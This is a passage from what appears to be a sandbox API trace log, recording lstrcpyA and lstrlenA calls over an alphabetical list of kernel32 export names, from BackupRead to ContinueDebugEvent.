(lpString="BACKUPREAD") returned 10 [0147.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0147.298] lstrlenA (lpString="BACKUPSEEK") returned 10 [0147.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0147.298] lstrlenA (lpString="BACKUPWRITE") returned 11 [0147.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0147.298] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0147.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0147.298] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0147.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0147.298] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0147.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0147.298] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0147.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0147.298] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0147.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0147.298] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0147.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0147.298] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0147.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0147.298] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0147.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0147.298] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0147.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0147.298] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0147.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0147.298] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0147.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0147.298] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0147.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0147.298] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0147.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0147.298] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0147.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0147.298] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0147.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0147.299] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0147.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0147.299] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0147.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0147.299] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0147.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0147.299] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0147.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0147.299] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0147.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0147.299] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0147.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0147.299] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0147.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0147.299] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0147.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0147.299] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0147.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0147.299] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0147.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0147.299] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0147.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0147.299] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0147.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0147.299] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0147.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0147.299] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0147.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0147.299] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0147.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0147.299] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0147.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0147.299] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0147.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0147.299] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0147.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0147.300] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0147.300] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0147.300] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0147.300] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0147.300] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0147.300] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0147.300] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0147.300] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0147.300] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0147.300] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0147.300] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0147.300] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0147.300] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0147.300] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0147.300] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0147.300] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0147.300] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0147.300] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0147.300] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0147.300] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0147.300] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0147.300] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0147.300] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0147.300] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0147.300] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0147.300] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0147.300] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0147.300] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0147.300] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0147.300] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0147.300] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0147.300] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0147.300] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0147.300] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0147.300] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0147.300] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0147.301] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0147.301] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0147.301] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0147.301] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0147.301] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0147.301] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0147.301] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0147.301] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0147.301] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0147.301] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0147.301] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0147.301] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0147.301] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0147.301] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0147.301] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0147.301] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0147.301] lstrlenA (lpString="BEEP") returned 4 [0147.301] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0147.301] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0147.301] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0147.301] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0147.301] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0147.301] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0147.301] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0147.301] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0147.301] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0147.301] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0147.301] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0147.301] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0147.301] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0147.301] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0147.301] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0147.301] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0147.301] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0147.301] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0147.301] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0147.302] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0147.302] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0147.302] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0147.302] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0147.302] lstrlenA (lpString="CANCELIO") returned 8 [0147.302] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0147.302] lstrlenA (lpString="CANCELIOEX") returned 10 [0147.302] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0147.302] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0147.302] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0147.302] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0147.302] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0147.302] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0147.302] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0147.302] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0147.302] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0147.302] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0147.302] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0147.302] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0147.302] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0147.302] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0147.302] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0147.302] lstrlenA (lpString="CHECKELEVATION") returned 14 [0147.302] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0147.302] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0147.302] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0147.302] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0147.302] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0147.302] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0147.302] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0147.302] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0147.302] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0147.302] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0147.302] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0147.302] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0147.302] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0147.302] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0147.303] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0147.303] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0147.303] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0147.303] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0147.303] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0147.303] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0147.303] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0147.303] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0147.303] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0147.303] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0147.303] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0147.303] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0147.303] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0147.303] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0147.303] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0147.303] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0147.303] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0147.303] lstrlenA (lpString="CLOSESTATE") returned 10 [0147.303] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0147.303] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0147.303] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0147.303] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0147.303] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0147.303] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0147.303] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0147.303] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0147.303] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0147.303] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0147.303] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0147.303] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0147.303] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0147.303] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0147.303] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0147.303] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0147.303] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0147.303] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0147.304] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0147.304] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0147.304] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0147.304] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0147.304] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0147.304] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0147.304] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0147.304] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0147.304] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0147.304] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0147.304] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0147.304] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0147.304] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0147.304] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0147.304] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0147.304] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0147.304] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0147.304] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0147.304] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") 